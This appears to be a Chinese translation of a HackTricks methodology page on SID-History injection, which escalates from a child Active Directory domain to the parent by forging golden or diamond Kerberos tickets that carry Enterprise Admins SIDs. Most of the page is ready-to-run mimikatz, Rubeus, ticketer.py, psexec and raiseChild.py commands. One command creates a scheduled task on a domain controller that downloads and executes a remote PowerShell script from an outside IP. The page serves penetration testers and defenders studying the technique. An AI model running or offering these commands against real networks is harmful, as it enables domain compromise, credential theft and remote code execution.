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hacktricks/windows-hardening/active-directory-methodology/sid-history-injection.md
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SID-History注入

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攻击

SID History旨在支持迁移场景，其中用户将从一个域移动到另一个域。为了保留对“旧”域中资源的访问权限，用户的先前SID将被添加到其新帐户的SID History中。因此，当创建这样的票证时，可以添加父域中特权组（EAs、DAs等）的SID，这将授予对父域中所有资源的访问权限。

这可以通过使用Golden票证或Diamond票证来实现。

要找到**"Enterprise Admins"组的SID**，可以找到根域的SID并将其设置为S-1-5-21-<root domain>-519。例如，从根域SID S-1-5-21-280534878-1496970234-700767426，**"Enterprise Admins"**组的SID是S-1-5-21-280534878-1496970234-700767426-519。

您还可以使用Domain Admins组，其以512结尾。

另一种找到其他域的组（例如"Domain Admins"）的SID的方法是：

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

使用KRBTGT-AES256的黄金票据（Mimikatz）

{% code overflow="wrap" %}

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

{% endcode %}

有关黄金票据的更多信息，请查看：

{% content-ref url="golden-ticket.md" %} golden-ticket.md {% endcontent-ref %}

钻石票据（Rubeus + KRBTGT-AES256）

{% code overflow="wrap" %}

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

{% endcode %}

有关钻石票的更多信息，请查看：

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

{% code overflow="wrap" %}

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

{% endcode %}

使用被入侵域的KRBTGT哈希提升为根或企业管理员：

{% code overflow="wrap" %}

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

{% endcode %}

通过攻击获得的权限，您可以在新域中执行例如DCSync攻击：

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

从Linux开始

使用ticketer.py手动操作

{% code overflow="wrap" %}

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

{% endcode %}

使用raiseChild.py自动化

这是一个Impacket脚本，可以自动从子域升级到父域。脚本需要：

  • 目标域控制器
  • 子域中管理员用户的凭证

流程如下：

  • 获取父域的Enterprise Admins组的SID
  • 检索子域中KRBTGT帐户的哈希值
  • 创建一个Golden Ticket
  • 登录到父域
  • 检索父域中Administrator帐户的凭证
  • 如果指定了target-exec开关，则通过Psexec验证到父域的域控制器。
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

参考资料

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